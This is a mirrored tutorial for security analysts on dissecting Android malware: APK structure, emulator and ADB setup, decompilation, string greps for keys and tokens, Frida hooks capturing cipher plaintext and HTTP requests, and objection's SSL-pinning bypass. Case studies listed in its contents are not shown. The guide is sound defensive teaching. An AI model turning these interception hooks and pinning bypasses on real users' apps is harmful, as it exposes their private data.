Skip to main content

Android Malware Analysis: A Practical Guide for Security Analysts

Cover image

Article Metadata

Ecosystem Fit

This page mirrors the original Medium article into the 1200km.com Docusaurus ecosystem. The original article flow, images, screenshots, infographics, and technical blocks are preserved from the export.

From APK unpacking to behavioral analysis — with three real-world malware case studies and a companion automated analysis tool

Article image

Table of Contents

  • Introduction: Why Android Malware Analysis Matters

  • Android Architecture and the Attacker’s Perspective

  • APK Structure: What You Are Actually Analyzing

  • Emulator Setup: Install, Deploy, and Connect via ADB

  • Setting Up Your Analysis Environment

  • Android-Malware-Analysis Tool Setup

  • ADB Quick Reference

  • Static Analysis: Dissecting Without Running

  • Dynamic Analysis: Observing Behavior at Runtime

  • Case Study 1: FluBot — The SMS Banking Trojan

  • Case Study 2: Cerberus — Banking Trojan as a Service

  • Case Study 3: SpyNote/SpyMax — Remote Access Trojan

  • Detection Engineering: YARA Rules and IOC Extraction

  • Reporting and Attribution

  • Quick Reference Cheatsheet

> About the tool references in this guide: Each analysis stage below shows two parallel approaches — the classic manual workflow using individual tools, and an automated workflow using Android-Malware-Analysis , an open-source Python framework that combines androguard, YARA, semantic component analysis, and Claude AI into a single pipeline. The classic workflow builds understanding; the tool speeds up triage at scale.

GitHub - anpa1200/Android-Malware-Analysis *Contribute to anpa1200/Android-Malware-Analysis development by creating an account on GitHub.*github.com

[Android APK Analysis Tool: AI-Powered Static Malware Analysis in Your Terminal A practical guide to analyzing Android applications with Claude, OpenAI, Google Gemini, and VirusTotal — no sandbox…

Introduction: Why Android Malware Analysis Matters

Android is the world’s dominant mobile operating system — running on billions of devices across consumer, enterprise, and critical infrastructure contexts. That scale makes it an attractive target. Banking trojans harvest credentials from financial apps. Spyware exfiltrates location, contacts, and messages. RATs hand full device control to remote operators.

The challenge for analysts is that Android malware is technically distinct from Windows or Linux malware. The packaging format, execution environment, and key attack surfaces — Accessibility Services, permissions, broadcast receivers, overlays — are Android-specific. Understanding them is prerequisite to analyzing the malware that abuses them.

This guide covers the complete workflow: from unpacking an APK and reading its manifest, through static code analysis and dynamic instrumentation, to three documented real-world malware families with step-by-step analysis walkthroughs.

Android Architecture and the Attacker’s Perspective

Before analyzing Android malware, you need to understand what Android offers attackers — and defenders — by design.

The Android Security Model

Android’s security model is built around four concepts:

Application sandboxing— Every app runs as a unique Linux user (UID). Apps cannot directly access each other’s data without explicit sharing mechanisms (Content Providers, Intents).

Permissions— Apps must declare required permissions in the manifest. Dangerous permissions (contacts, SMS, camera, location) require runtime user approval on Android 6.0+.

Signed APKs— Every APK must be signed with a developer certificate. The signature is used for update verification, not identity validation — self-signed certificates are accepted.

Play Protect— Google’s on-device scanner checks for known malicious apps. Effective against commodity malware; bypassed by targeted or novel samples.

Android Components — The Attack Surface

Android apps are built from four component types. Each is an attacker surface:

Article image

Accessibility Services — The Master Key

The most widely abused Android feature in modern malware is theAccessibility ServiceAPI, designed to help users with disabilities. When an app is granted Accessibility permissions, it can:

  • Read all on-screen content from any app

  • Click UI elements in any app on behalf of the user

  • Monitor and intercept touch events

  • Read and write clipboard content

This is effectively a keylogger and UI automation API. Banking trojans use it to:

  • Read credentials as users type them into banking apps

  • Auto-dismiss security warnings when granting permissions

  • Perform overlay attacks by drawing fake UI over legitimate apps

  • Silently grant itself additional permissions

ANALYST NOTE: The first thing to check in any suspicious APK:
AndroidManifest.xml →
<
service

android:name
=
"..."
>

<
intent-filter
>

<
action

android:name
=
"android.accessibilityservice.AccessibilityService"
/>

</
intent-filter
>

</
service
>

If this is present and unexplained by the app’s stated purpose, treat it as a high-severity indicator.

The Intent System — Inter-App Communication

Intents are Android’s inter-component messaging system. They are used for:

  • Launching activities and services

  • Broadcasting system events (BOOT_COMPLETED, SMS_RECEIVED, etc.)

  • Deep-linking between apps

Malware exploits intents for:

  • Persistence: registering BOOT_COMPLETED receivers to restart on device boot

  • SMS interception: declaring SMS_RECEIVED receivers with high priority to capture messages before the user’s SMS app

  • Overlay launching: using intents to overlay phishing activities over banking apps

APK Structure: What You Are Actually Analyzing

An APK (Android Package Kit) is a ZIP archive. Rename any APK to.zipand you can browse its contents directly.

malware.apk/
├── AndroidManifest.xml ← App metadata, permissions, components (binary XML)
├── classes.dex ← Compiled Dalvik
bytecode

(primary code)
├── classes2.dex ← MultiDex: additional DEX
files

(
if
present)
├── classes3.dex
├── resources.arsc ← Compiled resource
table

(binary)
├── res/ ← Binary
resources

(layouts, drawables)
│ ├── layout/
│ ├── drawable/
│ └── values/
├── assets/ ← Raw
assets

(config files, encrypted payloads, fonts)
├── lib/ ← Native
libraries

(.so files)
│ ├── armeabi-v7a/ ←
32
-bit ARM
│ ├── arm64-v8a/ ←
64
-bit
ARM

(most modern devices)
│ └── x86/ ← x86 emulators
└── META-INF/ ← APK signature files
├── MANIFEST.MF
├── CERT.RSA ← Signing certificate
└── CERT.SF

Key Files for Analysis

Article image

AndroidManifest.xmlThe most information-dense file in any APK. Declares:

  • Package name and version

  • Minimum/target SDK versions

  • All permissions requested

  • All components (activities, services, receivers, providers)

  • Intent filters (what events each component responds to)

Inside the APK, this file is in binary XML format. Tools likeapktool,aapt, orjadxdecode it to human-readable XML.

classes.dexCompiled Dalvik bytecode. This is the app’s code. Decompile withjadx(to Java),apktool(to Smali assembly), or analyze directly withandroguard.

**assets/**Often contains configuration files, encrypted payloads, or second-stage files. Malware frequently stores C2 server lists, encryption keys, or embedded APKs in this directory.

**lib/**Native libraries (.so files) compiled for specific CPU architectures. Some malware uses native code to evade Java-level analysis. Analyze withstrings,Ghidra, orIDA Pro.

META-INF/CERT.RSAThe signing certificate. Extract it to identify the developer, check issuance date, and compare against known malicious certificates. Self-signed certs with generic fields are common in malware.

Emulator Setup: Install, Deploy, and Connect via ADB

For most analysis work, an Android emulator is preferred over a physical device — it supports snapshots (save/restore state before running each sample), runs on your analysis host, and is free.

Step 1 — Install SDK tools and emulator

Ubuntu/Debian (apt) — recommended

Three separate packages are needed: emulator, platform-tools (adb), and cmdline-tools (sdkmanager + avdmanager).

sudo apt install google-android-emulator-installer \
google-android-platform-tools-installer \
google-android-cmdline-tools-
11.0
-installer

> If google-android-cmdline-tools-11.0-installer is not found, use the highest version shown by apt-cache search google-android-cmdline-tools and replace 11.0 throughout.

The packages install into/usr/lib/android-sdk/which is owned by root. Take ownership and persist the required env vars before running any SDK commands:

sudo
chown
-R
$USER
:
$USER
/usr/lib/android-sdk
cat
>> ~/.bashrc <<
'EOF'
export
ANDROID_HOME=
"/usr/lib/android-sdk"
export
ANDROID_SDK_ROOT=
"/usr/lib/android-sdk"
export
PATH=
"
$PATH
:/usr/lib/android-sdk/emulator:/usr/lib/android-sdk/platform-tools:/usr/lib/android-sdk/cmdline-tools/11.0/bin"
EOF
source
~/.bashrc

KVM setup (AMD CPUs or Linux without HAXM)

sudo apt install qemu-kvm libvirt-daemon-
system
sudo adduser $USER kvm
# Log out and back in for the group change to take effect
kvm-ok
# should print "KVM acceleration can be used"

Alternative: Android Studio

Download fromdeveloper.android.com/studio. The SDK lands in~/Android/Sdk/— adjustANDROID_HOMEandANDROID_SDK_ROOTaccordingly.

Verify:

adb version
emulator -version

Article image

Step 2 — Install SDK components and create the AVD

Always pass--sdk_rootas a hardcoded path tosdkmanager. Passing--sdk_root="$ANDROID_SDK_ROOT"will throw a NullPointerException if the variable is unset in the current shell.

# Accept licenses
yes
| sdkmanager --sdk_root=
"/usr/lib/android-sdk"
--licenses

> Warnings: “Found corrupted package.xml at xplg/…” — harmless. sdkmanager scans the filesystem and warns when it encounters package.xml files from unrelated tools (Xpolog, IDE plugins, etc.). The install continues normally.

Article image

# Install system image — google_apis (no Play Store) gives a writable system partition and root access
sdkmanager --sdk_root=
"/usr/lib/android-sdk"

"system-images;android-28;google_apis;x86_64"
# Install platform package - required by the emulator to validate the SDK root
# Missing this causes: "PANIC: Broken AVD system path"
sdkmanager --sdk_root=
"/usr/lib/android-sdk"

"platforms;android-28"
# Verify both landed
ls
/usr/lib/android-sdk/system-images/android-28/google_apis/x86_64/
ls
/usr/lib/android-sdk/platforms/android-28/
# Create the AVD
avdmanager create avd \
--name
"malware-lab-api28"
\
--package
"system-images;android-28;google_apis;x86_64"
\
--device
"pixel_2"
\
--force

Article image

Recommended AVD hardware settings for analysis — edit~/.android/avd/malware-lab-api28.avd/config.ini:

hw.ramSize
=
2048
disk.dataPartition.size
=
4096
M
hw.gpu.enabled
=
yes
hw.gpu.mode
=auto
hw.keyboard
=
yes
# Disable camera (reduces attack surface, speeds startup)
hw.camera.back
=none
hw.camera.front
=none

Step 3 — Start the emulator (headless or GUI)

Before starting, ensure the SDK env vars are set in your current shell — the emulator binary reads them directly and will panic if they are missing:

export
ANDROID_HOME=
"/usr/lib/android-sdk"
export
ANDROID_SDK_ROOT=
"/usr/lib/android-sdk"
export
PATH=
"
$PATH
:/usr/lib/android-sdk/cmdline-tools/11.0/bin:/usr/lib/android-sdk/platform-tools:/usr/lib/android-sdk/emulator"

> “PANIC: Broken AVD system path” — means platforms;android-28 is not installed. Fix:

> sdkmanager --sdk_root="/usr/lib/android-sdk" "platforms;android-28"

> Then re-run the emulator command. Also verify ANDROID_HOME and ANDROID_SDK_ROOT are set ( echo $ANDROID_SDK_ROOT ) — if empty, run source ~/.bashrc first.

GUI mode(interactive analysis):

emulator -avd malware-lab-api28 -writable-
system
&

Headless mode(scripted / no display):

emulator -avd malware-lab-api28 -writable-
system
-
no
-window -
no
-audio -
no
-boot-anim &

-writable-systemis required foradb remountto succeed. Without it,adb remountreturns "remount failed: Permission denied" even when running as root.

Useful startup flags:

Article image

|
`-no-snapshot-load`
| Fresh boot (
do

not
restore saved snapshot) |
|
`-writable-system`
| Mount
system
partition
read
-
write
(required
for
pushing frida-server to /
system
) |
|
`-no-boot-anim`
| Faster boot |
|
`-dns-server 8.8.8.8`
| Override DNS (useful
for
isolated lab routing) |
|
`-tcpdump /tmp/cap.pcap`
| Capture all emulator network traffic to a pcap |

Article image

Wait for boot to complete before connecting:

adb wait-for-device
adb shell getprop sys.boot_completed
# returns "1" when ready
# One-liner: wait until fully booted
until
[
"
$(adb shell getprop sys.boot_completed 2>/dev/null)
"
=
"1"
];
do

sleep
2
done
echo

"Emulator ready"

Step 4 — Verify ADB connection

adb devices
# Expected output:
# List of devices attached
# emulator-5554 device

> The emulator console port is 5554 (shown in adb devices ); the ADB daemon port is 5555 . When connecting manually (e.g., after restart or to a remote emulator): adb connect 127.0.0.1:5555

Article image

Article image

Step 5 — Enable root and deploy frida-server

Thegoogle_apisimage supportsadb root— this restarts the ADB daemon as root, making all subsequentadb shellcommands run as root:

adb disconnect 127.0.0.1:5555
#if was connected
adb root
adb remount # remount /system as
read
-
write
(requires -writable-system at startup)

Article image

Article image

Fridais the essential tool for dynamic instrumentation — injecting JavaScript to hook Android APIs at runtime:

# On analysis host
pip install frida-tools
# On Android device/emulator (must be rooted)
FRIDA_VERSION=$(python3 -c
'import frida; print(frida.__version__)'
)
echo

"
$FRIDA_VERSION
"
wget
"https://github.com/frida/frida/releases/download/
${FRIDA_VERSION}
/frida-server-
${FRIDA_VERSION}
-android-arm64.xz"

Now push frida-server. Match the version to your installedfrida-tools:

# Check your frida-tools version
pip show frida |
grep
Version
# e.g. 16.x.x
# Download frida-server for Android x86_64 (matching version)
# https://github.com/frida/frida/releases
# File: frida-server-16.x.x-android-x86_64.xz
xz -d frida-server-*-android-x86_64.xz
adb
push
frida-server-*-android-x86_64 /data/
local
/tmp/frida-server
adb shell
chmod

755
/data/
local
/tmp/frida-server
adb shell /data/
local
/tmp/frida-server &
# Verify Frida sees the device
frida-ps -U
# lists running processes on the emulator

Article image

Step 6 — Take a baseline snapshot

Before installing any malware, save a clean snapshot. You can restore it instantly between samples — no re-install needed:

# Save snapshot named "clean-baseline"
adb emu avd snapshot save clean-baseline
# After analysis - restore to clean state
adb emu avd snapshot load clean-baseline

Alternatively use the Android Studio Emulator UI: Extended Controls → Snapshots → Take Snapshot.

Setting Up Your Analysis Environment

A proper Android malware analysis lab requires isolation from your production network. Never analyze live malware on a device connected to your corporate or personal network.

Analysis Host (Linux preferred)

# Base tools
sudo apt install adb android-tools-adb default-jdk
# Python environment
python3 -m venv ~/malware-analysis
source
~/malware-analysis/bin/activate
# Core analysis tools
pip install androguard frida-tools objection
# apktool (APK decompiler)
sudo apt update
sudo apt install -y apktool
apktool --version
# Create wrapper: https://apktool.org/docs/install/
# jadx (Java decompiler - most readable output)
JADX_VERSION=$(curl -s https://api.github.com/repos/skylot/jadx/releases/latest | grep -Po
'"tag_name": "v\K[0-9.]+'
)
mkdir
-p ~/tools
wget
"https://github.com/skylot/jadx/releases/latest/download/jadx-
${JADX_VERSION}
.zip"
unzip
"jadx-
${JADX_VERSION}
.zip"
-d ~/tools/jadx
# MobSF - automated analysis platform
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -it --
rm
-p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# APKiD - packer/protector fingerprinting
python3 -m pip install -U apkid
pip install objection
pip install mitmproxy
mitmproxy --mode transparent --ssl-insecure

Android-Malware-Analysis Tool Setup

# Clone and install
git
clone
https://github.com/anpa1200/Android-Malware-Analysis
cd
Android-Malware-Analysis
bash setup.sh
# Creates venv, installs all dependencies
source
venv/bin/activate
# API keys (VirusTotal optional)
export
ANTHROPIC_API_KEY=
'sk-ant-...'
export
VT_API_KEY=
'...'

# optional - enables VT cross-validation
# Verify installation
python analyzer.py --
help

Three commands are available:

Article image

ADB Quick Reference

# Connect to emulator via ADB TCP (ADB port is 5555, not 5554)
# Note: emulators launched via Android Studio register automatically; use adb connect
# only if connecting manually or via network.
adb connect 127.0.0.1:5555
# Install APK
adb install -r malware.apk
# View real-time logs (filter by package)
adb logcat --pid=$(adb shell pidof com.malware.package)
# Pull file from device
adb pull /data/data/com.malware.package/shared_prefs/ ./output/
# Shell on device
adb shell
# List installed packages
adb shell pm list packages | grep -i suspicious
# Dump activity stack (what's on screen)
adb shell dumpsys activity activities | grep -A 5
"mResumedActivity"
# Capture network traffic
adb shell tcpdump -i any -w /sdcard/capture.pcap
adb pull /sdcard/capture.pcap

Static Analysis: Dissecting Without Running

Static analysis examines the APK without executing it. It is your first pass — safe, repeatable, and reveals structure, permissions, and code patterns.

Each step below shows theclassic manual approachfirst, followed by the equivalent using theanalyzer.py tool.

Step 1: File Fingerprinting

Before opening any file, record its identity:

# Compute hashes
sha256sum
malware.apk
md5sum
malware.apk
# Check VirusTotal (use hash, not upload if sensitive)
# https://www.virustotal.com/gui/file/SHA256HASH

Article image

With analyzer.py:

# Quick metadata only (no analysis, no API key)
python analyzer.py info malware.apk
# Output: MD5, SHA256, file size, DEX count, .so count, ZIP entry list

Article image

# Full pipeline (includes hashing, VT lookup, obfuscation scoring)
python analyzer.py analyze malware.apk --
no
-ai
# Output includes: MD5/SHA1/SHA256, obfuscation score (0–10), packer signals

Article image

Article image

Article image

The tool scores obfuscation automatically: ProGuard short names, single-letter packages, heavy reflection, base64 blobs, multi-DEX packers, and DexGuard/Allatori tokens contribute to a 0–10 scale printed in the report.

Step 2: Manifest Analysis

The AndroidManifest.xml is your reconnaissance target. Decode it:

# Method 1: apktool decodes manifest + resources
apktool d malware.apk -o malware_decoded/
cat
malware_decoded/AndroidManifest.xml
# Method 2: jadx includes decoded manifest
~/tools/jadx/bin/jadx malware.apk -d malware_jadx/
cat
malware_jadx/resources/AndroidManifest.xml
# Method 3: aapt (Android Asset Packaging Tool)
aapt dump badging malware.apk
aapt dump permissions malware.apk

Permissions to flag immediately:

<!-- High-value for banking trojans -->
<
uses-permission

android:name
=
"android.permission.READ_SMS"
/>
<
uses-permission

android:name
=
"android.permission.SEND_SMS"
/>
<
uses-permission

android:name
=
"android.permission.RECEIVE_SMS"
/>
<
uses-permission

android:name
=
"android.permission.READ_CONTACTS"
/>
<
uses-permission

android:name
=
"android.permission.READ_CALL_LOG"
/>
<!-- High-value for RATs -->
<
uses-permission

android:name
=
"android.permission.CAMERA"
/>
<
uses-permission

android:name
=
"android.permission.RECORD_AUDIO"
/>
<
uses-permission

android:name
=
"android.permission.ACCESS_FINE_LOCATION"
/>
<!-- Persistence indicators -->
<
uses-permission

android:name
=
"android.permission.RECEIVE_BOOT_COMPLETED"
/>
<
uses-permission

android:name
=
"android.permission.FOREGROUND_SERVICE"
/>
<!-- Overlay attacks -->
<
uses-permission

android:name
=
"android.permission.SYSTEM_ALERT_WINDOW"
/>
<!-- Device Admin binding - declared on the receiver component (see below),
NOT as a uses-permission. BIND_DEVICE_ADMIN is a framework protection permission
that restricts which callers can bind to the device admin receiver; apps do not
declare it in uses-permission. -->
<!-- <uses-permission android:name="android.permission.BIND_DEVICE_ADMIN" /> ← NOT how it works -->

Components to flag:

<!-- Accessibility Service — treat as critical indicator -->
<
service

android:name
=
".AccessibilityService"

android:permission
=
"android.permission.BIND_ACCESSIBILITY_SERVICE"
>

<
intent-filter
>

<
action

android:name
=
"android.accessibilityservice.AccessibilityService"
/>

</
intent-filter
>
</
service
>
<!-- Boot persistence -->
<
receiver

android:name
=
".BootReceiver"
>

<
intent-filter

android:priority
=
"1000"
>

<
action

android:name
=
"android.intent.action.BOOT_COMPLETED"
/>

<
action

android:name
=
"android.intent.action.QUICKBOOT_POWERON"
/>

</
intent-filter
>
</
receiver
>
<!-- Device Admin - makes uninstall harder -->
<
receiver

android:name
=
".DeviceAdmin"

android:permission
=
"android.permission.BIND_DEVICE_ADMIN"
>

<
meta-data

android:name
=
"android.app.device_admin"

android:resource
=
"@xml/device_admin_policies"
/>
</
receiver
>

With analyzer.py:

python analyzer
.py
analyze malware
.apk

--no-ai

Article image

The tool’s Phase 1 (core/apk_analyzer.py) automatically extracts and scores every permission, component, and intent filter. Dangerous permission combinations trigger weighted threat indicators — for example,BIND_ACCESSIBILITY_SERVICEcomponent +SEND_SMS+READ_CONTACTSraises a Banking Trojan flag. The terminal output highlights each finding by severity (CRITICAL / HIGH / MEDIUM / LOW) and the JSON report includes the full permission and component inventory.

Semantic analysis (core/semantic_analyzer.py) additionally decodes component names: service names likeServiceForwardingTunel,ServiceSendRequestImageVNC, orServiceLookScreenare pattern-matched to specific capabilities and ATT&CK techniques without any decompilation.

Step 3: Code Decompilation

# jadx: produces the most readable Java output
~/tools/jadx/bin/jadx malware.apk -d malware_jadx/
# Navigate to: malware_jadx/sources/com/malware/...
# apktool: produces Smali (Dalvik assembly) - useful for obfuscated code
apktool d malware.apk -o malware_smali/
# Navigate to: malware_smali/smali/com/malware/...
# For native libraries
strings malware_decoded/lib/arm64-v8a/libnative.so | grep -E
"http|api|token|key|exec"

With analyzer.py:

The tool does not replace jadx/apktool for deep code reading — you still need those for understanding obfuscated logic or writing custom Frida hooks. However, the API cross-reference analysis in Phase 1 maps every method call to ~15 suspicious categories (Dynamic Code Loading, Reflection, SMS Operations, Audio Recording, Location Tracking, Camera, Accessibility Service, Device Admin, Account Credentials, etc.) without requiring you to manually navigate the decompiled tree. This tells youwhereto focus before opening jadx.

Step 4: String Extraction and Pattern Matching

Even with obfuscation, strings often leak useful information:

# Extract strings from DEX
strings malware_decoded/classes.dex | grep -E \

"http|ftp|\.onion|api|token|key|password|AES|Base64|exec|su "
|
sort
-u
# Look for encrypted/encoded strings (Base64 encoded URLs are common)
strings malware_decoded/classes.dex | grep -E
"^[A-Za-z0-9+/]{20,}={0,2}$"
\
|
while

read
b64;
do
decoded=$(
echo

"
$b64
"
|
base64
-d 2>/dev/null)
[[ $? -eq 0 ]] &&
echo

"DECODED:
$decoded
"

done
# Extract all URLs
strings malware_decoded/classes.dex | grep -oE
"https?://[a-zA-Z0-9./?=&_%-]+"
|
sort
-u

With analyzer.py:

python analyzer
.py
analyze malware
.apk

--no-ai

Phase 1 automatically extracts all network IOCs (URLs, IPs, domains, emails) from the DEX via regex, filtering out private IP ranges. Phase 2c (semantic analysis) additionally computesShannon entropyon all strings — values above 4.5 flag potential encrypted payloads or C2 config blobs embedded in the APK. These are reported in the JSON output underhigh_entropy_strings.

Article image

Step 5: Androguard for Programmatic Analysis

#!/usr/bin/env python3
# analyze_apk.py
from
androguard.misc
import
AnalyzeAPK
apk, dex, analysis = AnalyzeAPK(
"malware.apk"
)
print
(
"=== APK METADATA ==="
)
print
(
f"Package:
{apk.get_package()}
"
)
print
(
f"Version:
{apk.get_androidversion_name()}
(
{apk.get_androidversion_code()}
)"
)
print
(
f"Min SDK:
{apk.get_min_sdk_version()}
"
)
print
(
f"Target SDK:
{apk.get_target_sdk_version()}
"
)
print
(
"\n=== PERMISSIONS ==="
)
for
perm
in

sorted
(apk.get_permissions()):

print
(
f"
{perm}
"
)
print
(
"\n=== ACTIVITIES ==="
)
for
activity
in
apk.get_activities():

print
(
f"
{activity}
"
)
print
(
"\n=== SERVICES ==="
)
for
service
in
apk.get_services():

print
(
f"
{service}
"
)
print
(
"\n=== RECEIVERS ==="
)
for
receiver
in
apk.get_receivers():

print
(
f"
{receiver}
"
)
print
(
"\n=== CERTIFICATE ==="
)
for
cert
in
apk.get_certificates():

print
(
f" Subject:
{cert.subject.human_friendly}
"
)

print
(
f" Issuer:
{cert.issuer.human_friendly}
"
)

print
(
f" SHA256:
{cert.sha256_fingerprint}
"
)
print
(
"\n=== NETWORK CALLS (string search) ==="
)
for
cls
in
dex.get_classes():

for
method
in
cls.get_methods():

for
_, call, _
in
analysis.get_method_analysis(method).get_xref_to():

if

"URL"

in

str
(call)
or

"HttpClient"

in

str
(call)
or

"OkHttp"

in

str
(call):

print
(
f"
{cls.name}

{call.class_name}
.
{call.name}
"
)

With analyzer.py:

The tool’score/apk_analyzer.pyis built on androguard and wraps the sameAnalyzeAPKAPI used in the script above. Runninganalyzer.py analyzegives you the same data plus threat scoring, semantic analysis, YARA, and AI classification on top. Use the manual script when you need custom programmatic logic beyond what the tool exposes; use the tool for standard triage.

Step 6: Automated Scan

Classic — MobSF (web UI):

MobSF provides an automated report covering permissions, manifest issues, hardcoded secrets, and known API abuse patterns:

# Start MobSF
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf
# Upload via web UI: http://localhost:8000
# Or via API:
curl -F
"file=@malware.apk"
http://localhost:8000/api/v1/upload \
-H
"Authorization: YOUR_API_KEY"

MobSF’s report flags:

  • Dangerous permission combinations

  • Hardcoded URLs and API keys

  • Weak cryptography usage

  • Exported components that can be triggered by other apps

  • Trackers and SDKs embedded in the app

With analyzer.py (CLI alternative):

#
Full
pipeline —
static

+
YARA
+
semantic
+
AI classification
python analyzer.py analyze malware.apk \

--api-key $ANTHROPIC_API_KEY \

--vt-key $VT_API_KEY \

--output-dir reports/
#
Static

+
YARA
only
(
no
AI,
no
network calls)
python analyzer.py analyze malware.apk
--no-ai --output-dir reports/
# Batch
-
score a
full
directory
and
sort
by
risk
python analyzer.py batch .
/
samples
/
\

--api-key $ANTHROPIC_API_KEY \

--min-risk 40 \

--output-dir reports/

The tool produces two output files per sample:

  • reports/&lt;package&gt;_&lt;timestamp&gt;.json— full structured report (permissions, components, YARA matches, threat score, ATT&CK techniques, IOC list)

  • reports/&lt;package&gt;_frida_hooks.js— runnable Frida script auto-generated for the specific APIs found in this sample

Risk scoring uses a weighted formula:permission_score × 0.25 + behavior_score × 0.40 + network_score × 0.15 + obfuscation_score × 0.20, producing a 0–100 score mapped to CLEAN / LOW / MEDIUM / HIGH / CRITICAL.

Article image

Article image

Dynamic Analysis: Observing Behavior at Runtime

Static analysis reveals structure; dynamic analysis reveals behavior. Run the malware in a controlled environment and observe what it actually does.

Pre-Execution Baseline

Before installing the malware, capture a baseline:

# Baseline: installed packages
adb shell pm list packages > baseline_packages.txt
# Baseline: running processes
adb shell ps -A > baseline_processes.txt
# Baseline: network connections
adb shell netstat -an > baseline_network.txt
# Start continuous logcat capture
adb logcat -v threadtime > logcat_full.txt &

Install and Run

# Install (bypass Play Protect check in settings first)
adb install -r malware.apk
# Grant permissions programmatically (faster than UI clicks)
adb shell pm grant com.malware.package android.permission.READ_SMS
adb shell pm grant com.malware.package android.permission.ACCESS_FINE_LOCATION
# Launch the app
adb shell am start -n com.malware.package/.MainActivity
# Or via monkey (simulates user interaction)
adb shell monkey -p com.malware.package 100

Monitoring at Runtime

# Watch network connections in real time
adb shell
"while true; do netstat -an | grep ESTABLISHED; sleep 2; done"
# Monitor file system activity (requires inotify-tools installed on device - not available on stock Android)
# On rooted devices: push a static inotifywait binary, or use inotifyd if present
# adb shell "inotifywait -r -m /data/data/com.malware.package/ 2>/dev/null"
# Alternatively, diff directory snapshots manually:
adb shell
"ls -la /data/data/com.malware.package/"
> fs_snapshot1.txt
# [run app actions]
adb shell
"ls -la /data/data/com.malware.package/"
> fs_snapshot2.txt
diff fs_snapshot1.txt fs_snapshot2.txt
# Watch for new processes
adb shell
"while true; do ps -A | diff baseline_processes.txt - | grep '^>'; sleep 3; done"
# Dump shared preferences (configuration storage)
# run-as only works for apps built with android:debuggable="true" - most real malware is not debuggable
# adb shell run-as com.malware.package cat shared_prefs/*.xml 2>/dev/null
# On rooted devices (use for actual malware samples):
adb shell
cat
/data/data/com.malware.package/shared_prefs/*.xml

Frida Instrumentation

Frida hooks Java methods at runtime, letting you intercept calls, read arguments, and modify return values:

// hook_crypto.js — intercept all encryption/decryption calls
Java
.
perform
(
function
(
) {
// Hook Cipher.doFinal - captures plaintext before encryption

var

Cipher
=
Java
.
use
(
"javax.crypto.Cipher"
);

var
doFinalOrig =
Cipher
.
doFinal
.
overload
(
"[B"
);
// capture reference before patching
doFinalOrig.
implementation
=
function
(
input
) {

// Call the original via the explicit overload reference to avoid ambiguity

var
result = doFinalOrig.
call
(
this
, input);

console
.
log
(
"[Cipher.doFinal]"
);

console
.
log
(
" Algorithm : "
+
this
.
getAlgorithm
());

console
.
log
(
" Input : "
+
bytesToHex
(input));

console
.
log
(
" Output : "
+
bytesToHex
(result));

return
result;
};

// Hook String decryption (common pattern: obfuscated strings)

// Adjust class/method name after reading decompiled code

try
{

var

StringObf
=
Java
.
use
(
"com.malware.util.StringDecryptor"
);

var
decryptOrig =
StringObf
.
decrypt
.
overload
(
"java.lang.String"
);
decryptOrig.
implementation
=
function
(
encrypted
) {

var
result = decryptOrig.
call
(
this
, encrypted);

console
.
log
(
"[StringDecryptor.decrypt] "
+ encrypted +
" → "
+ result);

return
result;
};
}
catch
(e) {

console
.
log
(
"StringDecryptor not found: "
+ e);
}

function

bytesToHex
(
bytes
) {

var
hex =
""
;

for
(
var
i =
0
; i < bytes.
length
; i++) {
hex += (
"0"
+ (bytes[i] &
0xff
).
toString
(
16
)).
slice
(-
2
);
}

return
hex;
}
});
// hook_network.js — intercept HTTP requests before they leave
Java
.
perform
(
function
(
) {
// Hook OkHttp (most common HTTP client in Android malware)

try
{

var

OkHttpClient
=
Java
.
use
(
"okhttp3.OkHttpClient"
);

var

Request
=
Java
.
use
(
"okhttp3.Request"
);

var

RealCall
=
Java
.
use
(
"okhttp3.internal.connection.RealCall"
);

var
executeOrig =
RealCall
.
execute
.
overload
();
executeOrig.
implementation
=
function
(
) {

var
request =
this
.
request
();

console
.
log
(
"\n[OkHttp Request]"
);

console
.
log
(
" URL : "
+ request.
url
().
toString
());

console
.
log
(
" Method : "
+ request.
method
());

var
body = request.
body
();

if
(body !==
null
) {

console
.
log
(
" Body : "
+
bodyToString
(body));
}

return
executeOrig.
call
(
this
);
};
}
catch
(e) {

console
.
log
(
"OkHttp not found: "
+ e);
}

// Hook URL.openConnection (fallback for HttpURLConnection)

var

URL
=
Java
.
use
(
"java.net.URL"
);

var
openConnOrig =
URL
.
openConnection
.
overload
();
openConnOrig.
implementation
=
function
(
) {

console
.
log
(
"[URL.openConnection] "
+
this
.
toString
());

return
openConnOrig.
call
(
this
);
};
});
# Spawn app with Frida hooks attached from the start
# Frida 14+: --no-pause is deprecated; spawned apps resume automatically
frida -U -f com.malware.package -l hook_crypto.js
frida -U -f com.malware.package -l hook_network.js
# On older Frida (<14), add --no-pause to resume execution immediately after spawn
# Or attach to already-running process
frida -U com.malware.package -l hook_network.js

With analyzer.py — Auto-Generated Frida Hooks:

Instead of writing hooks from scratch, run the full analysis first. The AI phase generates sample-specific hooks targeting the exact APIs found during static analysis:

# Generate hooks during analysis (saved automatically)
python analyzer.py analyze malware.apk \
--api-key
$ANTHROPIC_API_KEY
\
--save-frida \
--output-dir reports/
# The generated script targets APIs actually present in this sample:
cat
reports/com.malware.package_frida_hooks.js
# Run it directly:
frida -U -f com.malware.package \
-l reports/com.malware.package_frida_hooks.js

The generated hooks are not generic templates — they target specific class names and method signatures identified in the sample’s DEX. Treat them as a starting point; review before running and adjust class/method names if the malware is obfuscated.

Article image

Objection — Frida Made Easy

Objection wraps Frida with a CLI for common analysis tasks:

# Attach to running app
objection -g com.malware.package explore
# Inside objection:
# Bypass SSL pinning (works against common pinning implementations)
android sslpinning
disable
# List all activities, services, receivers
android hooking list activities
android hooking list services
# Hook all methods in a class
android hooking watch class com.malware.network.C2Client
# Hook specific method with arguments and return value
android hooking watch class_method com.malware.crypto.Decrypt.decryptString \
--dump-args --dump-return
# List files in app's data directory
file
ls
/data/data/com.malware.package/
# Dump shared preferences
android heap print_instances android.content.SharedPreferences

Network Traffic Analysis

# Capture traffic via tcpdump on device
adb shell su -c
"tcpdump -i any -w /sdcard/malware_traffic.pcap"
# Let it run while app executes, then:
adb pull /sdcard/malware_traffic.pcap
# Open in Wireshark
# Filter for malware's IP: ip.addr == C2_IP
# Filter for DNS: dns && dns.qry.name contains "malware"
# Filter for HTTP: http
# Inspect TLS: check SNI in ClientHello, analyze certificate
# Alternatively: route traffic through mitmproxy
# mitmproxy handles HTTP/HTTPS decryption if cert is installed
mitmproxy --mode transparent

